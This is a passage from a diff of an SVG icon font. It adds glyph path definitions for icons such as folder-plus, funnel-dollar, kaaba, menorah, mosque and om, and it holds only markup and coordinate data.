42.4092 27.7793 67.2295l-64.1201 4.00977c-2.40918 -10.2998 -6.50977 -19.8896 -11.9492 -28.6201zM349.27 213.83l64.1201 4 +c-4.06934 24.8096 -13.6592 47.6299 -27.7793 67.2295l-48.3008 -42.6094c5.44043 -8.73047 9.55078 -18.3301 11.96 -28.6201z" /> + <glyph glyph-name="envelope-open-text" unicode="" +d="M176 232c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h160c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-160zM160 152v16c0 8.83984 7.16016 16 16 16h160c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16 +h-160c-8.83984 0 -16 7.16016 -16 16zM256 30.8701c16.4199 0 32.8398 5.07031 46.8604 15.1895l209.14 151.08v-213.14c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v213.14l209.14 -151.08c14.0205 -10.1299 30.4404 -15.1895 46.8604 -15.1895z +M493.61 285.05c11.6094 -9.09961 18.3896 -23.0303 18.3896 -37.7695v-10.6504l-96 -69.3496v184.72h-320v-184.72l-96 69.3496v10.6504c0.00195312 15.3359 7.17676 28.9824 18.3896 37.7695c8.85059 6.94043 17.2402 13.4805 29.6104 22.8105v44.1396 +c0 26.5098 21.4902 48 48 48h77.5498c3.04004 2.2002 5.87012 4.25977 9.04004 6.55957c16.8203 12.2705 50.21 41.79 73.4102 41.4404c23.2002 0.349609 56.5996 -29.1699 73.4102 -41.4404c3.16992 -2.2998 6 -4.35938 9.04004 -6.55957h77.5498 +c26.5098 0 48 -21.4902 48 -48v-44.1396c12.3701 -9.34082 20.7598 -15.8701 29.6104 -22.8105z" /> + <glyph glyph-name="folder-minus" unicode="" +d="M464 320c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h160l64 -64h192zM368 152v16c0 8.83984 -7.16016 16 -16 16h-192c-8.83984 0 -16 -7.16016 -16 -16v-16 +c0 -8.83984 7.16016 -16 16 -16h192c8.83984 0 16 7.16016 16 16z" /> + <glyph glyph-name="folder-plus" unicode="" +d="M464 320c26.4922 0 48 -21.5078 48 -48v-224c0 -26.4922 -21.5078 -48 -48 -48h-416c-26.4922 0 -48 21.5078 -48 48v288c0 26.4922 21.5078 48 48 48h160l64 -64h192zM359.5 152v16c0 8.83105 -7.16895 16 -16 16h-64v64c0 8.83105 -7.16895 16 -16 16h-16 +c-8.83105 0 -16 -7.16895 -16 -16v-64h-64c-8.83105 0 -16 -7.16895 -16 -16v-16c0 -8.83105 7.16895 -16 16 -16h64v-64c0 -8.83105 7.16895 -16 16 -16h16c8.83105 0 16 7.16895 16 16v64h64c8.83105 0 16 7.16895 16 16z" /> + <glyph glyph-name="funnel-dollar" unicode="" horiz-adv-x="640" +d="M433.46 282.06c-83.4102 -20.8896 -145.46 -96.2695 -145.46 -186.06c0 -54.3496 22.7998 -103.38 59.21 -138.35c-10.75 -20.54 -38.3604 -29.21 -59.2197 -13.5703l-79.9902 60c-10.0703 7.55957 -16 19.4102 -16 32v155.92l-182.66 201.93 +c-19.9502 19.9502 -5.82031 54.0703 22.4004 54.0703h480.52c28.2207 0 42.3506 -34.1201 22.4004 -54.0703zM480 256c88.3701 0 160 -71.6299 160 -160s-71.6299 -160 -160 -160s-160 71.6299 -160 160s71.6299 160 160 160zM496 16.1201 +c23.6299 0.629883 42.6699 20.54 42.6699 45.0703c0 19.9697 -12.9902 37.8096 -31.5801 43.3896l-45 13.5c-5.16016 1.54004 -8.76953 6.78027 -8.76953 12.7295c0 7.27051 5.2998 13.1904 11.7998 13.1904h28.1104c4.55957 0 8.94922 -1.29004 12.8193 -3.71973 +c3.24023 -2.03027 7.36035 -1.91016 10.1299 0.729492l11.75 11.21c3.53027 3.37012 3.33008 9.20996 -0.569336 12.1406c-9.10059 6.83984 -20.0801 10.7695 -31.3701 11.3496v16.29c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-16.1201 +c-23.6201 -0.629883 -42.6699 -20.5498 -42.6699 -45.0703c0 -19.9697 12.9893 -37.8096 31.5801 -43.3896l45 -13.5c5.15918 -1.54004 8.76953 -6.78027 8.76953 -12.7295c0 -7.27051 -5.2998 -13.1904 -11.7998 -13.1904h-28.1104 +c-4.55957 0 -8.9502 1.2998 -12.8193 3.71973c-3.24023 2.03027 -7.36035 1.91016 -10.1309 -0.729492l-11.75 -11.21c-3.5293 -3.37012 -3.3291 -9.20996 0.570312 -12.1406c9.10059 -6.83008 20.0801 -10.7695 31.3701 -11.3496v-16.29c0 -4.41992 3.58008 -8 8 -8h16 +c4.41992 0 8 3.58008 8 8v16.1201z" /> + <glyph glyph-name="gopuram" unicode="" +d="M496 96c8.7998 0 16 -7.2002 16 -16v-128c0 -8.7998 -7.2002 -16 -16 -16h-80v160h-32v128h-32v96h-32v-96h32v-128h32v-160h-80v80c0 8.7998 -7.2002 16 -16 16h-64c-8.7998 0 -16 -7.2002 -16 -16v-80h-80v160h32v128h32v96h-32v-96h-32v-128h-32v-160h-80 +c-8.7998 0 -16 7.2002 -16 16v128c0 8.7998 7.2002 16 16 16h16v112c0 8.7998 7.2002 16 16 16h16v80c0 8.7998 7.2002 16 16 16h16v112c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16v-16h64v16c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16v-16h64v16 +c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16v-16h64v16c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16v-112h16c8.7998 0 16 -7.2002 16 -16v-80h16c8.7998 0 16 -7.2002 16 -16v-112h16zM232 272v-48h48v48c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16z +M288 96v64c0 8.7998 -7.2002 16 -16 16h-32c-8.7998 0 -16 -7.2002 -16 -16v-64h64z" /> + <glyph glyph-name="hamsa" unicode="" +d="M509.34 140.75c1.70117 -3.9043 2.65918 -8.24805 2.65918 -12.7764c0 -8.42383 -3.26562 -16.0908 -8.59863 -21.8037l-102.681 -110.03c-35.6895 -38.2197 -88.4102 -60.1396 -144.72 -60.1396s-109.03 21.9199 -144.71 60.1396l-102.69 110.03 +c-5.33301 5.71289 -8.58398 13.4141 -8.58398 21.8379c0 4.52832 0.943359 8.83789 2.64453 12.7422c5.05957 11.6904 16.5898 19.25 29.3398 19.25h64v208c0 22 18 40 40 40s40 -18 40 -40v-134c0 -5.51953 4.48047 -10 10 -10h20c5.51953 0 10 4.48047 10 10v174 +c0 22 18 40 40 40s40 -18 40 -40v-174c0 -5.51953 4.48047 -10 10 -10h20c5.51953 0 10 4.48047 10 10v134c0 22 18 40 40 40s40 -18 40 -40v-208h64c12.75 0 24.2803 -7.55957 29.3398 -19.25zM256 32c53.0195 0 96 64 96 64s-42.9805 64 -96 64s-96 -64 -96 -64 +s42.9805 -64 96 -64zM256 128c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32z" /> + <glyph glyph-name="bahai" unicode="" +d="M496.25 245.48c17.54 -2.46094 21.6797 -26.2705 6.04004 -34.6602l-98.1602 -52.6602l74.4805 -83.54c11.8594 -13.29 0.00976562 -34.25 -17.3506 -30.4902l-108.569 23.6504l4.10938 -112.55c0.430664 -11.6504 -8.87012 -19.2207 -18.4102 -19.2207 +c-5.15918 0 -10.3896 2.20996 -14.1992 7.18066l-68.1807 88.8994l-68.1797 -88.8994c-3.81055 -4.9707 -9.0498 -7.18066 -14.2002 -7.18066c-9.54004 0 -18.8398 7.57031 -18.4102 19.2207l4.11035 112.55l-108.57 -23.6504 +c-1.39941 -0.30957 -2.75977 -0.450195 -4.06934 -0.450195c-15.0107 0 -24.21 18.6807 -13.29 30.9307l74.4795 83.54l-98.1602 52.6592c-15.6494 8.40039 -11.5098 32.21 6.03027 34.6709l110 15.4297l-41.8203 104.34c-6.66016 16.6396 11.6006 32.1797 26.5898 22.6299 +l94.04 -59.8896l34.0908 107.189c2.70996 8.55078 10.0293 12.8203 17.3496 12.8203s14.6396 -4.26953 17.3496 -12.8203l34.0908 -107.18l94.04 59.8896c14.9893 9.55078 33.2598 -5.98926 26.5898 -22.6299l-41.8203 -104.34zM338.51 136.32l-35.6094 39.9297 +l46.9199 25.1699l-52.5703 7.37988l19.9902 49.8701l-44.9502 -28.6201l-16.29 51.2305l-16.3096 -51.2305l-44.9502 28.6201l19.9902 -49.8701l-52.5703 -7.37988l46.9199 -25.1699l-35.5996 -39.9297l51.8896 11.2998l-1.95996 -53.79l32.5898 42.4902l32.5898 -42.4902 +l-1.96973 53.79z" /> + <glyph glyph-name="jedi" unicode="" horiz-adv-x="576" +d="M535.953 96c-42.6406 -94.1719 -137.641 -160 -247.984 -160c-4.26562 0 -8.54688 0.0986328 -12.8447 0.296875c-103.969 4.76562 -193.859 69.4688 -235.109 159.703h39.9219l-58.6094 58.5938c-2.65332 12.8242 -4.38672 25.9951 -5.10938 39.4219 +c-0.133789 3.5166 -0.202148 7.05078 -0.202148 10.5996c0 6.65527 0.234375 12.8477 0.702148 19.3848h47.2188l-41.3906 41.375c14.7842 66.6123 53.959 124.015 107.969 162.078c2.61426 1.87109 5.82812 2.98535 9.28125 3 +c5.62793 -0.03125 10.5791 -2.89355 13.5 -7.25c1.76367 -2.57422 2.7959 -5.68848 2.7959 -9.04199c0 -2.13086 -0.414062 -4.19141 -1.1709 -6.05176c-6.31445 -15.834 -9.84375 -33.1904 -9.84375 -51.2656c0 -45.1094 21.0469 -86.5781 57.7188 -113.734 +c4.07324 -2.96484 6.72266 -7.76855 6.72266 -13.1865c0 -4.86133 -2.13965 -9.2168 -5.51953 -12.2041c-26.5469 -23.9844 -41.1719 -56.5 -41.1719 -91.5781c0 -60.0312 42.9531 -110.281 99.8906 -121.922l2.5 65.2656l-27.1562 -18.4844 +c-1.29688 -0.832031 -2.83887 -1.31445 -4.49219 -1.31445c-2.10352 0 -4.04004 0.777344 -5.50781 2.06445c-1.55078 1.46387 -2.51953 3.53809 -2.51953 5.83691c0 1.49414 0.416992 2.90234 1.12891 4.10059l20.125 33.7656l-42.0625 8.73438 +c-3.64062 0.744141 -6.38379 3.96777 -6.38379 7.82812s2.74316 7.08398 6.38379 7.82812l42.0625 8.71875l-20.1094 33.7344c-0.724609 1.20312 -1.1416 2.61133 -1.1416 4.11719c0 4.41016 3.58105 7.99121 7.99121 7.99121c1.67188 0 3.22656 -0.510742 4.50977 -1.38965 +l30.3906 -20.6562l11.5166 287.969c0.15918 4.25879 3.66797 7.66699 7.96484 7.66699c0.0117188 0 0.0234375 0.00488281 0.0351562 0.00488281h0.046875c4.29004 -0.0332031 7.78418 -3.44629 7.95312 -7.70312l11.5312 -287.922l30.3906 20.6719 +c1.28223 0.855469 2.82227 1.35449 4.47852 1.35449c2.12793 0 4.07715 -0.820312 5.52148 -2.16699c1.54785 -1.45898 2.51465 -3.52832 2.51465 -5.82129c0 -1.48828 -0.415039 -2.89062 -1.12402 -4.08496l-20.1406 -33.7656l42.0781 -8.73438 +c3.63379 -0.750977 6.36914 -3.97266 6.36914 -7.82812s-2.73535 -7.07715 -6.36914 -7.82812l-42.0781 -8.71875l20.1094 -33.7344c0.730469 -1.20508 1.15039 -2.61719 1.15039 -4.12793c0 -2.27637 -0.947266 -4.33984 -2.47852 -5.79395 +c-1.46484 -1.32227 -3.4043 -2.12793 -5.53125 -2.12793c-1.6543 0 -3.20801 0.492188 -4.5 1.33105l-27.1719 18.4688l2.5 -65.3438c48.4844 9.40625 87.5781 48.1562 97.3125 96.5c1.68066 8.11816 2.56445 16.5254 2.56445 25.1387 +c0 36.5547 -15.8574 69.3145 -41.127 91.9395c-3.38867 2.98926 -5.52734 7.3623 -5.52734 12.2314c0 5.42578 2.64844 10.2256 6.73047 13.1904c36.6562 27.1719 57.6875 68.6094 57.6875 113.734v0.0859375c0 18.0664 -3.53613 35.4062 -9.85938 51.2266 +c-0.763672 1.86523 -1.18555 3.90625 -1.18555 6.0459c0 3.34668 1.0332 6.47949 2.79492 9.04785c2.9248 4.35059 7.875 7.20605 13.5 7.23438c3.44043 -0.0136719 6.64355 -1.12305 9.25 -2.98438c53.9287 -38.2227 93.0518 -95.6611 107.906 -162.281l-41.25 -41.2344 +h46.9531c0.359375 -5.76562 1.04688 -11.4531 1.04688 -17.2656c-0.0332031 -17.8086 -1.7959 -35.0137 -5.125 -51.8594l-58.8906 -58.875h39.9688z" /> + <glyph glyph-name="journal-whills" unicode="" horiz-adv-x="448" +d="M438.406 70.4062c-3.20312 -12.8125 -3.20312 -57.6094 0 -73.6094c6.39062 -6.39062 9.58887 -12.792 9.59375 -19.2031v-16c0 -16 -12.7969 -25.5938 -25.5938 -25.5938h-326.406c-54.4062 0 -96 41.5938 -96 96v320c0 54.4062 41.5938 96 96 96h326.406 +c16 0 25.5938 -9.59375 25.5938 -25.5938v-332.812c0 -9.59375 -3.19824 -15.9893 -9.59375 -19.1875zM380.797 64h-284.797c-16 0 -32 -12.7969 -32 -32s12.7969 -32 32 -32h284.797v64zM128.016 271.984c0 -0.515625 0.140625 -0.984375 0.140625 -1.5l37.1094 -32.4688 +c1.67383 -1.4668 2.73047 -3.62012 2.73047 -6.01758c0 -4.41309 -3.58398 -7.99414 -7.99609 -7.99805h-0.015625c-1.97363 0.0996094 -3.79785 0.828125 -5.25 1.98438l-23.5938 20.6406c11.5469 -49.5781 55.7656 -86.625 108.859 -86.625 +s97.3125 37.0469 108.875 86.625l-23.5938 -20.6406c-1.40918 -1.22461 -3.25391 -1.96875 -5.26562 -1.96875h-0.015625c-2.34766 0.129883 -4.46777 1.14551 -6.01562 2.71875c-1.1543 1.45996 -1.88184 3.28809 -1.98438 5.26562 +c0.128906 2.35059 1.15137 4.47266 2.73438 6.01562l37.1094 32.4688c0.015625 0.53125 0.15625 1 0.15625 1.51562c0 11.0469 -2.09375 21.5156 -5.0625 31.5938l-21.2656 -21.25c-1.44922 -1.4502 -3.45117 -2.34863 -5.66211 -2.34863 +c-4.41797 0 -8.00488 3.58691 -8.00488 8.00488c0 2.20605 0.892578 4.20801 2.33887 5.65625l26.4219 26.4062c-10.0342 20.8945 -26.1904 38.0244 -46.3594 49.2656c6.05371 -9.67676 9.55469 -21.1123 9.55469 -33.3584c0 -19.916 -9.17383 -37.7295 -23.6172 -49.2822 +c9.69336 -10.0459 15.6592 -23.7119 15.6592 -38.7598c0 -26.875 -19.0703 -49.3535 -44.3779 -54.6621l-1.42188 34.2812l12.6719 -8.625c0.635742 -0.432617 1.40234 -0.685547 2.22852 -0.685547c0.00585938 0 0.015625 -0.00195312 0.0214844 -0.00195312h0.0263672 +c2.19727 0 3.98047 1.7832 3.98047 3.98047c0 0.748047 -0.209961 1.45215 -0.569336 2.05078l-8.53125 14.3125l17.9062 3.71875c1.81738 0.379883 3.18457 1.99219 3.18457 3.92188s-1.36719 3.54199 -3.18457 3.92188l-17.9062 3.71875l8.53125 14.3125 +c0.359375 0.598633 0.566406 1.29883 0.566406 2.04688c0 2.19629 -1.7832 3.98047 -3.98047 3.98047c-0.00878906 0 -0.0146484 0.00390625 -0.0234375 0.00390625c-0.817383 -0.0322266 -1.58984 -0.275391 -2.25 -0.671875l-14.1875 -9.65625l-4.6875 112.297 +c-0.09375 2.12695 -1.84961 3.8252 -4 3.8252s-3.90625 -1.69824 -4 -3.8252l-4.625 -110.812l-12 8.15625c-0.639648 0.43457 -1.41211 0.688477 -2.24316 0.688477c-2.20996 0 -4.00293 -1.79395 -4.00293 -4.00391c0 -0.745117 0.203125 -1.44629 0.558594 -2.04395 +l8.53125 -14.3125l-17.9062 -3.71875c-1.81738 -0.375977 -3.18457 -1.98633 -3.18457 -3.91406s1.36719 -3.53809 3.18457 -3.91406l17.9062 -3.73438l-8.53125 -14.2969c-0.330078 -0.611328 -0.532227 -1.31152 -0.5625 -2.04688 +c0.0615234 -1.12109 0.525391 -2.14062 1.25 -2.90625c0.717773 -0.677734 1.68652 -1.09277 2.75 -1.09375c0.830078 0.00390625 1.60645 0.257812 2.25 0.6875l10.3594 7.04688l-1.35938 -32.7188c-25.3086 5.31836 -44.335 27.79 -44.335 54.6709 +c0 15.0518 5.92285 28.7324 15.6162 38.7822c-14.4434 11.5508 -23.7012 29.3193 -23.7012 49.2334c0 12.2559 3.59082 23.7412 9.6543 33.4229c-20.1709 -11.2451 -36.3311 -28.374 -46.375 -49.2656l26.4219 -26.4219c1.43945 -1.44727 2.33008 -3.44043 2.33008 -5.64062 +c0 -4.41504 -3.58496 -8 -7.99902 -8c-2.2002 0 -4.19629 0.888672 -5.64355 2.32812l-21.2656 21.2656c-2.98438 -10.0938 -5.07812 -20.5625 -5.0625 -31.625z" /> + <glyph glyph-name="kaaba" unicode="" horiz-adv-x="576" +d="M554.12 364.49c13.0703 -4.36035 21.8799 -16.5898 21.8799 -30.3604v-49.0098l-265 79.5098c-15.0596 4.5 -30.9502 4.5 -45.9805 0l-265.02 -79.5098v49.0098c0.000976562 14.1279 9.16992 26.1211 21.8799 30.3604l235.771 78.5801 +c9.53711 3.17969 19.7705 4.90234 30.3711 4.90234c10.5996 0 20.8008 -1.72266 30.3389 -4.90234zM274.22 333.97c9 2.7207 18.5498 2.7207 27.5898 0l274.2 -82.2598v-228.39c0 -15 -10.4199 -27.9902 -25.0596 -31.2402l-242.12 -53.7998 +c-6.72461 -1.49512 -13.5928 -2.28418 -20.7646 -2.28418s-14.1611 0.789062 -20.8857 2.28418l-242.12 53.7998c-14.6396 3.25977 -25.0596 16.2402 -25.0596 31.2402v228.38zM128 217.89v16.5801c0 5.28027 -5.01953 9.11035 -10.1104 7.7207l-80 -21.8203 +c-3.47949 -0.950195 -5.88965 -4.11035 -5.88965 -7.71973v-16.5801c0 -5.27051 5.01953 -9.10059 10.1104 -7.7207l80 21.8203c3.47949 0.950195 5.88965 4.11035 5.88965 7.71973zM272 257.17v16.5801c0 5.28027 -5.01953 9.11035 -10.1104 7.71973l-96 -26.1797 +c-3.47949 -0.950195 -5.88965 -4.11035 -5.88965 -7.71973v-16.5801c0 -5.28027 5.01953 -9.11035 10.1104 -7.7207l96 26.1807c3.47949 0.950195 5.88965 4.10938 5.88965 7.71973zM448 234.47v-16.5801c0 -0.00195312 0.00195312 -0.00195312 0.00195312 -0.00390625 +c0 -3.68359 2.49609 -6.78906 5.8877 -7.71582l80 -21.8203c5.09082 -1.38965 10.1104 2.44043 10.1104 7.7207v16.5801c0 3.60938 -2.41016 6.76953 -5.88965 7.71973l-80 21.8203c-5.09082 1.38965 -10.1104 -2.44043 -10.1104 -7.7207zM304 273.74v-16.5801 +c0 -0.00195312 0.00195312 -0.00292969 0.00195312 -0.00488281c0 -3.68359 2.49609 -6.78906 5.8877 -7.71484l96 -26.1807c5.09082 -1.38965 10.1104 2.44043 10.1104 7.7207v16.5791c0 3.61035 -2.41016 6.77051 -5.88965 7.7207l-96 26.1797 +c-5.09082 1.38965 -10.1104 -2.44043 -10.1104 -7.71973z" /> + <glyph glyph-name="khanda" unicode="" +d="M415.81 382c73.71 -40.2402 111.78 -123.85 90.1602 -207.51c-7.25 -28.0898 -22.3799 -53.5703 -41.25 -75.5898l-52.5098 -61.3105c-4.87012 -5.67969 -13.04 -7.22949 -19.6504 -3.70996l-79.3496 42.2305l-29.21 -20.3408l47.0801 -32.7793 +c1.66992 0.370117 3.22949 1.00977 5.00977 1.00977c13.25 0 23.9902 -10.7402 23.9902 -24c0 -13.25 -10.7402 -24 -23.9902 -24c-12.0898 0 -21.6797 9.11035 -23.3301 20.7598l-40.9102 28.4805v-30.1504c9.38086 -5.58008 15.9902 -15.3896 15.9902 -27.0996 +c0 -17.6699 -14.3203 -32 -31.9795 -32c-17.6602 0 -31.9805 14.3301 -31.9805 32c0 11.7197 6.60059 21.5293 15.9902 27.0996v29.9502l-40.6299 -28.2803c-1.64062 -11.6494 -11.2305 -20.7598 -23.3301 -20.7598c-13.25 0 -23.9902 10.75 -23.9902 24 +c0 13.2598 10.7402 24 23.9902 24c1.78027 0 3.33984 -0.639648 5.00977 -1.00977l47.0801 32.7793l-29.21 20.3301l-79.3496 -42.2295c-6.61035 -3.52051 -14.7803 -1.96973 -19.6504 3.71973l-55.9697 65.3604c-12.5703 14.6797 -23.3906 31.0693 -30.46 49.0596 +c-35.6602 90.6904 2.95996 186.391 81.4893 229.24c6.34082 3.5 15.0205 2.63965 20.0205 -2.7002c4.99023 -5.30957 6.45996 -12.9199 2.58984 -19.0801c-16.4902 -26.1602 -25.2002 -56.3896 -25.2002 -87.4697c0.180664 -53.1904 26.7598 -102.62 71.0303 -132.18 +l76.5898 -53.3301v19.8994l-44.0498 36.0908c-3.91016 4.20996 -5 10.0996 -2.81055 15.2793l7.85059 17.2402c-33.8506 19.2598 -56.9404 55.2402 -56.9404 96.9902c0 40.79 22.0205 76.1396 54.5898 95.7197l-5.21973 11.4404 +c-2.33008 5.5293 -0.929688 11.8301 3.57031 16.04l58.9902 52.8096l58.9893 -52.8203c4.5 -4.20996 5.91016 -10.5098 3.57031 -16.04l-5.21973 -11.4395c32.5693 -19.5801 54.5898 -54.9199 54.5898 -95.71c0 -41.7402 -23.0996 -77.7305 -56.9404 -96.9902 +l7.85059 -17.2402c2.18945 -5.18945 1.10938 -11.0801 -2.81055 -15.2793l-44.0498 -36.0908v-20.0996l76.6299 53.3496c44.5 29.7207 71.0801 79.1602 71.2705 132.41c0 31.0205 -8.70996 61.25 -25.2002 87.4102c-1.55762 2.46582 -2.46973 5.40723 -2.46973 8.53613 +c0 4.25293 1.66602 8.12012 4.37988 10.9844c4.99023 5.34961 12.9902 6.51953 19.3594 3.01953zM319.82 272c0 21.3203 -10.5801 40.1201 -26.6504 51.7695l-7.83008 -17.1797c-8.75 -24.5195 -8.75 -51.04 0 -75.5596l5.65039 -12.4102 +c17.3398 11.46 28.8301 31.0801 28.8301 53.3799zM191.89 272c0 -22.2998 11.5 -41.9297 28.8408 -53.3896l5.64941 12.4092c8.75 24.5303 8.75 51.04 0 75.5605l-7.83008 17.1797c-16.0801 -11.6396 -26.6602 -30.4395 -26.6602 -51.7598z" /> + <glyph glyph-name="landmark" unicode="" +d="M501.62 355.89c6.24023 -2.33984 10.3799 -8.30957 10.3799 -14.9795v-36.9102c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16v36.9102c0.000976562 6.85547 4.31445 12.7041 10.3799 14.9795l234.39 90.0703 +c3.49219 1.31152 7.30176 2.02832 11.25 2.02832c3.94727 0 7.72852 -0.716797 11.2207 -2.02832zM64 256h64v-160h96v160h64v-160h96v160h64v-160h16c8.83984 0 16 -7.16016 16 -16v-48h-448v48c0 8.83984 7.16016 16 16 16h16v160zM496 0c8.83984 0 16 -7.16016 16 -16 +v-32c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h480z" /> + <glyph glyph-name="mail-bulk" unicode="" horiz-adv-x="576" +d="M160 0c25.5996 0 51.2002 22.4004 64 32c64 44.7998 83.2002 60.7998 96 70.4004v-134.4c0 -17.6699 -14.3301 -32 -32 -32h-256c-17.6699 0 -32 14.3301 -32 32v134.4c12.7998 -9.60059 32 -25.6006 96 -70.4004c12.7998 -9.59961 38.4004 -32 64 -32zM288 192 +c17.6699 0 32 -14.3301 32 -32v-19.2002c-25.5996 -19.2002 -22.4004 -19.2002 -115.2 -86.3994c-9.59961 -3.2002 -28.7998 -22.4004 -44.7998 -22.4004s-35.2002 19.2002 -44.7998 25.5996c-92.7998 67.2002 -89.6006 67.2002 -115.2 86.4004v16 +c0 17.6699 14.3301 32 32 32h256zM544 288c17.6699 0 32 -14.3301 32 -32v-192c0 -17.6699 -14.3301 -32 -32 -32h-192v134.4l-0.290039 -0.220703c-3.12012 32.4004 -30.5 57.8203 -63.71 57.8203h-96v32c0 17.6699 14.3301 32 32 32h320zM512 160v64h-64v-64h64zM160 256 +v-32h-96v192c0 17.6699 14.3301 32 32 32h320c17.6699 0 32 -14.3301 32 -32v-96h-224c-35.29 0 -64 -28.71 -64 -64z" /> + <glyph glyph-name="menorah" unicode="" horiz-adv-x="640" +d="M144 320c8.83984 0 16 -7.16016 16 -16v-144h-64v144c0 8.83984 7.16016 16 16 16h32zM240 320c8.83984 0 16 -7.16016 16 -16v-144h-64v144c0 8.83984 7.16016 16 16 16h32zM432 320c8.83984 0 16 -7.16016 16 -16v-144h-64v144c0 8.83984 7.16016 16 16 16h32zM528 320 +c8.83984 0 16 -7.16016 16 -16v-144h-64v144c0 8.83984 7.16016 16 16 16h32zM608 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM512 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32 +zM416 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM320 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM224 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64 +s-14.3301 -32 -32 -32zM128 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM32 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM576 160v144c0 8.83984 7.16016 16 16 16h32 +c8.83984 0 16 -7.16016 16 -16v-144c0 -53.0195 -42.9805 -96 -96 -96h-192v-64h176c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h176v64h-192c-53.0195 0 -96 42.9805 -96 96 +v144c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-144c0 -17.6699 14.3301 -32 32 -32h192v176c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-176h192c17.6699 0 32 14.3301 32 32z" /> + <glyph glyph-name="mosque" unicode="" horiz-adv-x="640" +d="M0 -32v320h128v-320c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32zM579.16 160h-358.32c-17.8594 17.3896 -28.8398 37.3398 -28.8398 58.9102c0 52.8594 41.79 93.79 87.9199 122.899c41.9502 26.46 80.6299 57.7705 111.96 96.2207 +l8.12012 9.96973l8.12012 -9.96973c31.3301 -38.4502 70.0195 -69.75 111.96 -96.2207c46.1299 -29.1094 87.9199 -70.04 87.9199 -122.899c0 -21.5703 -10.9805 -41.5205 -28.8398 -58.9102zM608 128c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32 +h-32v64c0 17.6699 -14.3301 32 -32 32s-32 -14.3301 -32 -32v-64h-64v72c0 48 -48 72 -48 72s-48 -24 -48 -72v-72h-64v64c0 17.6699 -14.3301 32 -32 32s-32 -14.3301 -32 -32v-64h-32c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h416zM64 448 +c0 0 64 -32 64 -96v-32h-128v32c0 64 64 96 64 96z" /> + <glyph glyph-name="om" unicode="" +d="M360.6 387.06l-21.5801 21.5605c-1.89062 1.88867 -3.06055 4.50098 -3.06055 7.38086c0 2.88086 1.16992 5.49023 3.06055 7.37891l21.5703 21.5605c4.08008 4.06934 10.6797 4.06934 14.7598 0l21.5801 -21.5605c1.8916 -1.88867 3.06152 -4.50098 3.06152 -7.38086 +c0 -2.88086 -1.16992 -5.49023 -3.06152 -7.37891l-21.5693 -21.5605c-1.88867 -1.89062 -4.50098 -3.06055 -7.38184 -3.06055s-5.49023 1.16992 -7.37891 3.06055zM412.11 256c55.0898 0 99.8896 -44.7998 99.8896 -99.8799v-100.12c0 -48.5303 -47.4805 -88 -96.0195 -88 +c-96.0205 0 -96.0205 64 -96.0205 64v37.8701c0 7.55957 9.42969 10.8896 14.2002 5.01953c15.1494 -18.6494 42.4199 -42.8896 81.8203 -42.8896c13.2393 0 32.0098 10.7695 32.0098 24v100.12c0 19.79 -16.1006 35.8799 -35.8799 35.8799 +c-9.60059 0 -18.6006 -3.73047 -25.3799 -10.5l-24.25 -24.25c-18.8701 -18.8604 -43.9502 -29.25 -70.6406 -29.25h-21.6895c11.0293 -18.9004 17.8096 -40.5801 17.8096 -64c0 -70.5801 -57.4297 -128 -128.02 -128c-118.811 0 -160.03 96 -159.94 150.81 +c0.0195312 8.80078 10.2598 12.7705 14.79 5.2207c22.7998 -38.0107 49.1299 -92.0303 145.15 -92.0303c35.2998 0 64.0098 28.7002 64.0098 64s-28.71 64 -64.0098 64h-33.0303c-5.57031 0.450195 -10.6406 3.49023 -13.1699 8.5498l-16.0898 32.1699 +c-5.35059 10.7002 2.42969 23.2803 14.3896 23.2803h31.9004c26.4697 0 48.0098 21.5303 48.0098 48s-21.54 48 -48.0098 48c-11.25 0 -21.8203 -3.80957 -30.2705 -10.71c-5.54004 -4.53027 -13.4795 -4.50977 -19.2002 -0.209961l-26.1494 19.6299 +c-8.08984 6.08008 -8.48047 17.9697 -1.12012 24.9297c25.1094 23.7402 59.8594 34.71 96.0098 28.7803c43.1602 -7.08008 79.4199 -40.6396 89.5205 -83.1895c6.43945 -27.1201 2.80957 -53.1309 -7.73047 -75.2305h46.8398c9.60059 0 18.6006 3.73047 25.3799 